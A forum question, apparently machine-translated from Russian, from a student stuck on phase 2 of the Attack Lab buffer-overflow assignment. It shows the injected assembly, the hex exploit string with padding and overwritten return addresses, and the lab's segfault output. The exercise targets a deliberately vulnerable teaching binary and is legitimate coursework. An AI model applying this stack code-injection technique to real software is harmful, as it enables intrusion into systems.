У меня есть лаборатория переполнения буфера, которую я должен сделать для проекта под названием The Attack Lab . Я на втором этапе лаборатории, и мне нужно ввести код как часть моей строки эксплойта, чтобы программа указала на адрес функции touch2 (). Я дошел до того, что вывод говорит, что это правильное решение для фазы 2, но затем он говорит, что я вызвал ошибку сегмента, а затем говорит, что я потерпел неудачу в фазе.
Это сообщение об ошибке, которое я получаю
cookie: 0x2d6fc2d5
Type string:Touch2!: You called touch2(0x2d6fc2d5)
valid solution for level 2 with target ctarget
ouch! You caused a segmentation fault!
better luck next time
FAILED
это мой код эксплойта в сборке
mov1 $0x2d6fc2d5, %rdi
retq
это то, что я передаю в программу
48 c7 c7 d5 c2 6f 2d c3 #bytecode of exploit code
00 00 00 00 00 00 00 00 #padding of 0x38, amount needed to overwrite ret address
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
68 bd 66 55 00 00 00 00 #address of rsp - 0x38
0d 18 40 00 00 00 00 00 #address of touch2()
Я смотрел онлайн-уроки и работал над этим часами, но я не нашел решения, и я не уверен, что является причиной проблемы. Он говорит, что решение является действительным, но затем обнаруживает неисправности и дает сбой. Буду признателен за любую помощь, и дайте мне знать, если есть что-то, что нуждается в разъяснении!